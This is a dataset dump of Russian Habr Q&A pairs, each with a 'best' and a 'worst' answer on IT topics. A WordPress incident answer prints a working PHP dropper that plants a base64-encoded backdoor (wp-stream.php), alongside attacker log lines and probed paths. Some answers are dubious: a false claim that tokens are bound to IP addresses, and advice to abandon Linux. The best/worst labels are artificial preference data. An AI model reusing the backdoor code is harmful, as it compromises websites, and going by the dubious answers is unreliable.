Vikhrmodels/habr_qa_sbs huggingface dataset:
Вопрос: Да что такое это ваше облако?

Лучший ответ:
"Облако" лучше продаётся, только и всего.
Это ответ.
Добавлю:
В двух словах - это когда данные хранятся и обрабатываются не на одном сервере, а на распределённой сети серверов, что даёт плюс к надёжности.
Технологии много лет, но, например, "кластеризация" для современного вайтишника звучит страшно и непонятно, а вот "облако" - это как зефирка, воздушное и нежное, манагеры и вайтота ссут кипятком и несут деньги.

Худший ответ:
Разница обычно в биллинге.
Вопрос: Как называется подобный эффект?

Лучший ответ:
это называется "постеризация цвета" или "изогелия"

Худший ответ:
Это просто понижение количества битов, выделяемых на цвет (уменьшение разрядности глубины цвета, если позволите).
Вот, почитайте: https://ru.wikipedia.org/wiki/%D0%93%D0%BB%D1%83%D...
Вопрос: Программа для 3D?

Лучший ответ:
https://www.blender.org
Бесплатно и мощно.

Худший ответ:
Прямо в браузере, бесплатно, без установки, интуитивно понятный Google Trimble Sketchup.
Это хорошо для быстрейшего старта и получения результатов. В нем я делал модель простой перепланировки в квартире для недавнего ремонта, расстановку мебели и пр.
Если хочется серьезно войти в Motion Graphics, то лидер тут Cinema 4D, и пригодится Adobe After Effects для пост-обработки.
Вопрос: Как создать функцию конструктор на PHP?

Лучший ответ:
Скорей всего вам нужно это: https://www.php.net/manual/ru/class.arrayaccess.php

Худший ответ:
По сути тебе тут не нужен целый класс, тебе нужна функция, но так как писать голые функции в ООП это моветон то используют статические методы класса, тогда твой код может выглядеть так:class arrSort {
	public static function run($a) {
		sort($a);
		return $a;
	}
}

$test = arrSort::run(array(4,3,2,1)); // вот и всё
Вопрос: Почему микротик RB951G-2HnD может резать скорость провайдера?

Лучший ответ:
Не самая быстрая железка на роутерОС, обычно рекомендуется включить Fasttrack, который позволяет пакетам со статусом established миновать фаерволл, и тем самым снизить нагрузку на ЦПУ и обеспечить желаемый гигабит.
PS
Но со включенным фастраком можно забыть "трики" основанные на маркировке пакетов.

Худший ответ:
Потому что это старая железка на слабом железе. Хотите с нее большие скорости - упрощайте конфиг
Вопрос: Не понимаю как взломали вк?

Лучший ответ:
1. Для двухфакторной авторизации через СМС - отдельный ОБЫЧНЫЙ! телефон без ОС (без андроид, иос, и т.д.).
2. Не пользоваться публичными wi-fi-сетями (отель, транспорт, кафе и т.д.).
3. Не пользоваться сторонними браузерами.
4. Не давать доступа к клиентскому устройству сторонним лицам.
5. Не устанавливать никакие сторонние сертификаты.
6. Всегда проверять: кто из сторонних приложений/сайтов имеет доступ (и какой именно!) к выполнению различных операций в соц.сети от имени вашего аккаунта без вашего участия (но с вашего же, выданного вами сервису/сайту ранее, разрешения при пользовании любым из них и по их запросу на данный тип операций).

Худший ответ:
Даже кража "кукисов" или просто напросто реального чистого открытого токена не поможет ни кому взломать или авторизоваться через ваш аккаунт. Потому что токен выдается в связке с ip адресом. Один и тот же токен не может быть использован для двух сессий с разных ip адресов.
Вопрос: Как протестировать с помощью gtest функцию main(argc, argv[])?

Лучший ответ:
Lo-st, 
Начало -> на примере VS
https://docs.microsoft.com/ru-ru/visualstudio/test...Тестировать сразу функцию main в зависимости от входных параметров argc и argv.
не совсем понятно что такое тестировать функцию main? Но вот пример из документации
https://github.com/google/googletest/blob/master/g...

Худший ответ:
По факту получается, что вы пишите системный тест. Следовательно, для него вам необходимо уже скомпилированное приложение. 
Самый простой вариант, в этом случае -- это просто вызывать приложение с помощью std::system и проверять вывод. Так как std::system возвращает просто код завершения, вывод можно писать в какой-нибудь файл. Ну а потом, как и в обычном тесте, сравнивать то что получилось и то, что должно получиться. По факту у вас есть два приложения: сам тест и та утилита, которую вы тестируете.
Вопрос: Как сделать чтобы была красивая ссылка в php?

Лучший ответ:
Надо написать заголовок своего вопроса в адресной строке браузера
Как сделать чтобы была красивая ссылка в php?

правда же, совсем несложно?

Худший ответ:
ЭТО называется ЧПУ
blog.ox2.ru/php/hpu
Вопрос: Какой курс по Node Js на udemy лучше?

Лучший ответ:
Самый лучший учитель - ты сам.
Эти "учителя" на Udemy такие же обычные люди, как и ты. Они сделаны из одного теста, что и ты. Тут главное желание. Они берут бесплатные знания, и продают их людям, я конечно ничего не говорю, потому что они могут добавить в обучение свой опыт разработки, но у меня такое мнение, что лучше через такой опыт должен пройти ты сам, предварительно не зная об этом. Но думать тебе, это лишь мое субъективное мнение.

Худший ответ:
На самом деле любой из топовых курсов будет норм. Я брал этот
Вопрос: Зачем /dev/null, если можно без него?

Лучший ответ:
driverx18, считается, что у любой программы может быть вывод. если у конкретной программы его нет - то это свойство конкретной программы, я говорю об общем случае.
по умолчанию, если не указано, куда выводить стандартный поток сообщений, то вывод идёт в стандартное устройство вывода - на консоль.
по умолчанию, если не указано, куда выводить стандартный поток ошибок, то вывод идёт в стандартное устройство вывода - на консоль.
если приложение, запущенное через cron, делает вывод в стандартный поток сообщений и/или в стандартный поток ошибок, то cron это перехватывает и, в зависимости от настроек, может херить или, что встречается чаще, передавать в подсистему логгирования, класть в мейлбокс.
поэтому, если вывод сообщений и ошибок принудительно не переназначить в другое место (например, в /dev/null), он, как правило, окажется в почте.

Худший ответ:
Вот вам пример: есть некий сервис S, слушающий порт 80, нужно раз в секунду делать на него http запрос через curl (или wget), как только S начал отвечать 200-ым ответом, без ошибок - выполнить команду C. При этом любой ответ от curl/wget - ожидаемый, даже невозможность определить ip по хосту, и его не нужно выводить в консоль, или логгировать как-то по другому.
Это пример из жизни, используется при старте контейнеров через docker-compose, для выполнения последовательности запуска и миграций.
Вопрос: Как Telegram Desktop нормально работает из коробки без прокси?

Лучший ответ:
Сдались вам эти proxy.
Для успешной работы клиентского приложения мессенджера в условиях блокировок не обязательно, чтобы соединение было через proxy, VPN или что-то еще. Достаточно, чтобы хотя бы один сервер не был заблокирован. Когда серверы меняются постоянно, это условие достаточно просто выполняется. Для поддержания работы приложения в долговременной перспективе, достаточно менять IP серверов быстрее, чем их блокируют. Что и происходит с Телеграмом.
Вероятно, вы спросите, а как же тогда сайт Телеграма? А очень просто: сайт заблокировать на порядок легче, так как DNS сходу отдает все IP, на которых он хостится. Потому, для доступа к сайту вам и нужен VPN или proxy, так как у блокирующей стороны в этой ситуации - преимущество.
Что касается SMS с кодом - их блокировка также затруднена, как и блокировка клиентского приложения, потому что слать эти SMS можно, используя самые разные шлюзы, так что по исходящему номеру заблокировать их нельзя. По содержимому их тоже не так просто заблокировать, потому что "коды подтверждения" приходят и от других сервисов.

Худший ответ:
Строгость законов компенсируется необязательностью их исполнения...
РКН конечно что-то там делает, что-то блокирует, что-то даже получается заблокировать :D Но Вам это все параллельно... ровно до момента, как Вас останавливает на улице патруль и просит показать телефон :) - в тырнете легко гуглятся десятки случаев. Находят в телефоне телегу, просят открыть. Очень убедительно...
Вопрос: При парсинге с помощью cUrl сайт выдает json массивы, как выбрать нужную инфу?

Лучший ответ:
пока ты не дашь сайт и не скажешь, чем ты парсить пытаешься, мы тут будет все в экстрасенсов играть.
Я вангую, что так происходит из-за заголовков твоих запросов. Либо из-за магии мордора

Худший ответ:
Пытаюсь парсить один сайт, он выдает json массивы, вместо html 
Вы должны поблагодарить разрабов за это и радоваться.
Конвертируйте полученный JSON в Array и ищите нужный элемент. В чем сложности?
Вопрос: Как обмануть электронный замок(чтобы не отправлять запросы на открытие на китайский сервер)?

Лучший ответ:
Реверсить протокол. Собирать трафик, отправляемый замком, анализировать.

Худший ответ:
Было бы хорошо поподробнее описать - что за замок, что за шлюз.
Перед тем как делать локальные сервера, подмены dns и прочее сначала нужно понять как шлюз получает команду на открытие. 
Скорее всего этот шлюз wifi поддерживает соединение с каким-то китайским сервером по какому-то протоколу.
Возможно он строит VPN, а может это просто mqtt. 
Адрес китайского сервера (с кем шлюз держит соединение) узнать не особо сложно. Дальше хуже...
Вам нужно понять, что там за протокол используется. И расшифровать его, а протоколы сейчас все любят шифрованные. 
А вот потом вы уже заморачивайтесь с эмуляцией всего этого через локальный сервер, и как сделать так, чтобы все это шло на этот сервер, а не через Интернет к китайцам.
Вопрос: Как развить свою обучаемость?

Лучший ответ:
Если была бы такая книга,  вы бы о ней знали.
А моё мнение - можно ПОНИМАТЬ, а можно зазубрить. Если ты понимаешь материал(что бы понимать сложные вещи нужно в начале понять простые из которых оно состоит), то у тебя в голове выстраивается определенная картина мира, которая помогает вспомнить детали которые ты забыл, и даже догадаться о том что ты не знаешь но логически строится из этой картины. А если не понимаешь - то зубришь, заставляя мозг запомнить не связную информацию. Понимание - связи поддерживающие сами себя, зубрение/непонимание - отдельные точки которые забудутся. Не уверены что поняли простую информацию которая используется в сложной? - вернитесь. А ну и забыл, не пользуетесь - забудете.

Худший ответ:
Что-то я слабо представляю как кто-то будет развивать свою абстрактную обучаемость.
Человек хорошо учится тому, что ему интересно.  Если неинтересно - то может не стоит мучить котенка?
Вопрос: Как парсить текстовик в delphi?

Лучший ответ:
procedure TMainForm.ButtonClick(Sender: TObject);
var
 men: TMatchCollectionEnumerator;
begin
  men := TRegEx.Matches('one two three', '\w+').GetEnumerator;

  while men.MoveNext do
  begin
    men.Current.Value
  end;

  men.Free;
end;

Смекнули?

Units
- System.RegularExpressions
- System.Generics.Collections

Худший ответ:
как можно добавить к существующему массиву записи, ведь я не знаю сколько их будетИспользуйте динамический массив (SetLength).
Вопрос: Какую витую пару выбрать для прокладки на улице в трубе?

Лучший ответ:
Очень многие попадаются на том, что путают медь и омедненку, особенно из поколения админов первого призыва - в наши времена омедненки не было :) Разумеется, я про одножильник.
Первая - просто медный провод. Вторая - провод алюминиевый, покрытый медью. Технология особо не важна, важен факт, что здесь имеется алюминиевый (более дешевый) провод, а сверху не очень большой слой меди - отсюда и дешевизна.
Отличается по маркировке - в первой - CU, во второй - ССA и в описании обычно указано. Ну и конечно STP. Я думаю, та, что у Вас за 8 тыров - это подходящая, за 4 - скорее всего омедненка.

Худший ответ:
Из мной проверенных и недорогих - Cabeus и Nikomax. Из дорогих и хороших - Паритет и Hyperline. 
Материал жилы - медь. 
Оболочка - я бы взял СПЭ.
Если хочется перестраховаться и самоуспокоиться, возьмите 6 категорию. У неё жила 0,57 мм против 0,52 у 5е.
Да, чуть не забыл - смотрите калибр проводника. Нужен минимум 24awg. Чем цифра меньше, тем сечение больше (привет американцам). Если брать 6 категорию, то калибр должен быть 23 awg.
Есть кабель 26awg и 28awg.  Он сгодится разве что на патч-корды.
Вопрос: Почему торренты кладут интернет?

Лучший ответ:
Linux? Если под Linux запускаете, то это убогая сетевая подсистема виновата, рекомендация - перейти на Windows.

Худший ответ:
Шейпер срабатывает у провайдера на торрент-трафик.
Процентов на 99%!
Вопрос: Как найти место взлома wordpress?

Лучший ответ:
Попробуйте сканеры безопасности их очень много разных

Худший ответ:
Уязвимость найдена, возможно кому-то поможет. 
По логам прослеживались обращения:
51.38.106.48 - - [02/Nov/2020:19:55:53 +0000] "POST /wp-content/uploads/elementor/custom-icons/-1/css/ HTTP/1.0" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
51.38.106.48 - - [02/Nov/2020:19:55:55 +0000] "POST /wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
51.38.106.48 - - [02/Nov/2020:19:55:58 +0000] "POST /wp-content/uploads/wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"

В одном из плагинов (/wp-content/uploads/elementor/custom-icons/-1/css/index.php), как и предполагалось, находился данный код: 

echo "ssqqss>>>";
error_reporting(0);
ini_set('display_errors',0);

make_wpupload_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads');

 function make_wpupload_file($dir) {

	$b = base64_decode('PD9waHAgIGlmKGlzc2V0KCRfUE9TVFsnbHQnXSkgJiYgbWQ1KCRfUE9TVFsnbHQnXSkgPT0gYmFzZTY0X2RlY29kZSgiTURJek1qVTRZbUpsWWpkalpUazFOV0UyT1RCa1kyRXdOVFppWlRnNE5XUT0iKSApIHskbHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYSddKTtmaWxlX3B1dF9jb250ZW50cygnbHRlXycsJzw/cGhwICcuJGx0KTskbHQ9J2x0ZV8nO2lmKGZpbGVfZXhpc3RzKCRsdCkpe2luY2x1ZGUoJGx0KTt1bmxpbmsoJGx0KTt9fSA/Pg==');
	if(!file_exists($dir.'/wp-stream.php')){
		@file_put_contents($dir.'/wp-stream.php',$b);
		@file_put_contents($_SERVER['DOCUMENT_ROOT'].'/wp-stream.php',$b);
	}
  
}

unlink(__FILE__);
При взломе так же пытались найти на сервере следующие файлы и пути, уязвимости могут быть и в них: 
/wp-content/plugins/widget-settings-importexport/widget-data.js
/wp-content/plugins/letme/weblinks.php
/wp-content/plugins/background-image-cropper/ups.php.suspected
/wp-content/uploads/2020/10/content-post.php
/wp-content/wp-muen.php
/wp-content/uploads/2020/04/blackhat.php
/wp-content/plugins/wp-members/assets/js/wpmem-nav-menu.min.js
/wp-content/plugins/superstorefinder-wp/css/ssf-wp-admin.css
/my-accountsuc_reg
/my-accountcanreg
/wp-content/themes/CP20/content-post.php.suspected
/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
/wp-content/uploads/wp-stream.php
/wp-admin/theme-install.php
/xmlrpc.php
/installer.php
/wp-content/themes/distance-lite/languages/namespaces.php
Вопрос: Правильно ли монтировать /var на HDD вместо SSD чтобы он прослужил больше?

Лучший ответ:
Нет, все эти советы по поводу "сбережения ресурса SSD" относятся к самым ранним поколениям накопителей. Современные накопители морально устареют гораздо раньше того момента, когда их ресурс на запись будет исчерпан.

Худший ответ:
Если вас волнует оптимизация и не волнуют логи, то /tmp и /var/log прекрасно монтируются в память (tmpfs). Минус - посмотреть, что было в логах до перезагрузки, не получится. Плюс - затраты резко устремятся к нулю (монтируя /var на HDD, вы таки заметно затормозите обращение к нему на запись).
Вопрос: Как правильно скопировать файлы из «/» в докер образ?

Лучший ответ:
Подозреваю что ошибка возникает из-за невозможности получения доступа к корню "/" моей машины 
Так и есть, add/copy в dockerfile имеет доступ только к файлам внутри директории.
Так что правильно скопировать файлы в   папку с проектом.
Или, если очень хочется, запускать docker build  из "/".

Худший ответ:
докер при билде ищет файлы в своем build context. Самое простое, перед сборкой, скопировать /etc/scrt/ActivationCodes/AutorizationPswrd в туже папку, где билдится докер и это уже копировать. 
копировать лучше командой COPY (не ADD, она немного для другого), ну и папку создавать в одну строку 
mkdir -p /etc/scrt/ActivationCodes/AutorizationPswrd
Вопрос: Почему replace не сохраняется?

Лучший ответ:
SELECT ничего не изменяет, просто делает выборку.

Худший ответ:
Используйте UPDATE
Вопрос: Как улучшить поле с номером телефона или как его может «сломать» пользователь?

Лучший ответ:
Вы можете просто сделать проверку на первую цифру, используя возможности jquery.maskedinput, который Вы применяете. Пример кода ниже не позволит ввести первую цифру в маску, если она будет соответствовать 7 или 8, при этом любые другие цифры будут доступны для ввода. По идее, это должно решить Вашу проблему с нехваткой одной цифры в номере, если пользователь не обратил внимание на уже стоящую +7.
$.mask.definitions['N'] = '[/0-6|9/]';
$("#phoneInput").mask("+7(N99) 999-99-99");
Живой пример.

Худший ответ:
иногда приходят формы с номером телефона без одной цифры
- просто увеличь количество допустимых знаков на 1 или 2 тогда даже при лишней восьмерке ты сможешь увидеть все цифры.
Вопрос: Как установить пакет libsndfile1 для librosa без прав sudo?

Лучший ответ:
Очень легко. Арендовать VPS (обойдётся максимум в $5 в месяц) и перестать заниматься ерундой, вырезая гланды через ж...

Худший ответ:
Можно скомпилировать самому. Или взять из пакетов такого же дистрибутива, как на хостинге, положить к себе, через LD_LIBRARY_PATH подсунуть... Но как тут уже правильно сказали, лучше не страдать фигнёй.
Вопрос: Можно ли брать серверный пк для работы?

Лучший ответ:
Если сразу не сломается и не будет глючить (потому что это китайское дерьмо), то заработает. К серверам это всё не имеет ни малейшего отношения, на самом деле.

Худший ответ:
Сервер - это не быстрее.
Сервер - это надежнее. Ну а старые модели - еще и много более шумные вентиляторы имеют для более серьезного охлаждения.
Есть одно исключение - если вам нужна многопроцессорная система. 
Но вам, судя по запросам - она не нужна.
На Ксеоне можно собрать обычный компьютер (ну только память с контролем четности).
Материнскую плату, кстати, вы выбрали с "бытовым", а не серверным чипсетом.
Вопрос: Пойти работать Джуном или доучиться до Миддла?

Лучший ответ:
Нельзя стать мидлом без реального опыта, как и джуном в целом. 
Знать теорию это одно, а умение хоть сколько-то применять ее на практике это совсем другое, и от теории сильно отличается.
Ну и помимо хардовых скиллов есть еще софт скиллы, которые тоже требуют реального практического опыта.
Ну и всякие пет проекты это совсем не то, (но какая-никакая польза от них есть) и тоже сильно отличается от реальной работы в команде

Худший ответ:
Учиться лучше на практике и как вариант на своих проектах.
Вопрос: Диагностика компьютера на PHP?

Лучший ответ:
Php работает на сервере, а значит вам нужна программа которую пользователь поставит себе на компьютер и она отправит вам всю нужную информацию. Сделать это при помощи браузера не получится.

Худший ответ:
Начать с того что выкинуть php, скорее всего и взять что-то более близкое в работе с системой. Python, хотябы, а лучше вообще .net или java
Вопрос: Что можно посоветовать новечку для обучения фронтенду?

Лучший ответ:
Я посоветую не изучать по видео-курсам. Нет способа вернее отправить себя в ряды дерущихся за доширак.

Худший ответ:
Лучше курсы с преподавателем, чтобы получать обратную связь и начать изучать не все подряд, а по адекватной программе. Например здесь можно начать курсы по html и css
Вопрос: Как лучше всего делать тестовые задания?

Лучший ответ:
нормален ли такой подход?
Да. Нет. Не знаю. Что за детсадовские вопросы? Уточните у рекрутера, какой вариант предпочтительней.

Худший ответ:
А это зависит от тестового, если то что просят реализовать уже реализовано в библиотеке - то не стоит юзать, но если это какие-нибудь помогающие либы типа lodash, или moment.js для дат, то юзай смело)
Вопрос: Как сделать онлайн для своей игры на сайте?

Лучший ответ:
Чтобы сделать такой функционал нужно знать:
1. Как делаются POST / GET запросы на JavaScript, а лучше разбираться в WebSocket и уметь его готовить
3. Иметь базовые навыки на каком-нибудь северном языке программирования, допустим тот же php
4. Также нужно уметь работать с базами данных (MySQL для php), чтобы хранить комнаты и пользователей
5. Дополнительно надо понимать, как при помощи JavaScript вообще взаимодействовать со страницей (ну там просчитать что-то, добавить, изменить, вывести и так далее)

Лично мне не жалко было бы вам предоставить пример создания такого сервиса, вот только для этого мне сначала надо будет его написать, минимально протестировать, а это задача минимум на пару часов, а скорее-всего и на весь день, если делать с учетом разных мелких нюансов. Ни я, ни кто либо другой здесь, вряд ли готов потратить столько времени ради ответа на ваш вопрос - ведь надо будет кроме создания самого сервиса еще и писать мануал / гайд поэтапно конспектируя все свои действия, что тоже потребует дофига много времени.

Худший ответ:
Для этого тебе нужен сервак, на котором будет написан бэкенд, а чистым js в браузере этого не достичь. 
Так же если все в режиме онлайн то там сокеты нужно будет еще применить
Вопрос: Является ли файловая система — документоориентированной СУБД?

Лучший ответ:
Нет.
Хотя черты СУБД у неё есть.

Худший ответ:
не является

если думаешь что это не так - считай FS метаданные из Word документа
Вопрос: Куда податься на фрилансе?

Лучший ответ:
Зачем тебе апворк - иди на freelansim.ru, или если хочешь посражаться с нашими индусами тогда и на fl.ru
У upwork мифология о качестве работы идет впереди самого сервиса, только внимательно надо понимать что никакой отвественности о мудачестве заказчиков, и тем более ваших недоговоренностях не несет.
Так что работать лучше на своей языковой и культурной базе в данном случае (ты не компания которая расширяет рынки присутствия, и разумеется западный рынок шире, поэтому туда как бы надо идти).
Открой сайт и бери свои заказы на дошик - там их точно тебе хватит.
Но тебя, мой юный (во фрилансе) друг, ждет множество прекрасных открытий о том что работая на кого-то, ты куда быстрее выполнишь свою цель о "спокойной работе в нормальных условиях за гарантированные какие-то деньги", которую ты почему-то видишь в своем доме.
Другой вариант это не скрипты - а именно удаленная работа, которой полно. Если очень надо из дома работать (хотя важное в предложении тут слово - работать, а второстепенное уже где, не стоит это менять местами во избежании недоразумений).
Ну и везде во всех вариантах тебе придется постоянно развиваться и обучаться а также отстаивать свою позицию, выбивать свои деньги, и постоянно удивляться что планы не сходятся с фактами.
Удачи!

Худший ответ:
Советую Front-End. Погугли о нём
Вопрос: Какова ситуация с фриланс биржами?

Лучший ответ:
фриланс затух в плане заработка, сейчас это платформа для набития руки новичкам.
заказчики на фрилансе либо те, кто жалеет каждую копейку, либо веб студии (в качестве посредников).
В связи с плохим качеством работ у фрилансеров и веб-студий, нормальные компании посоздавали штатные отделы разработок, так что welcome в штат, где платят значительно больше. верстальщики тоже требуются. В связи с обстановкой, думаю сейчас удаленка будет в тренде.

Худший ответ:
Как и везде, дело случая и умения говорить ртом.
В последний раз, например, ответил на freelansim.ru на заявку с тестовым, делаю компании уже пятый проект примерно... :)

Так что и на российских, и на иностранных биржах всё ок для тех, кто умеет общаться и делать клиента довольным :)
Вопрос: Как сделать бонус каждую минуту?

Лучший ответ:
Добавить в базу время начала начисления бонуса и при запросе значения бонуса вычислять разницу в минутах между текущим временем и временем начала начисления.

Худший ответ:
Нужно написать скрипт который:
1. Получает из базы всех у  кого bonus=1 и его значение bonus
2. Пробегает по полученному списку, строить запрос на добавление 1 к bonus.
Запускаешь этот  скрипт через cron каждую минут (*/1 * * * *).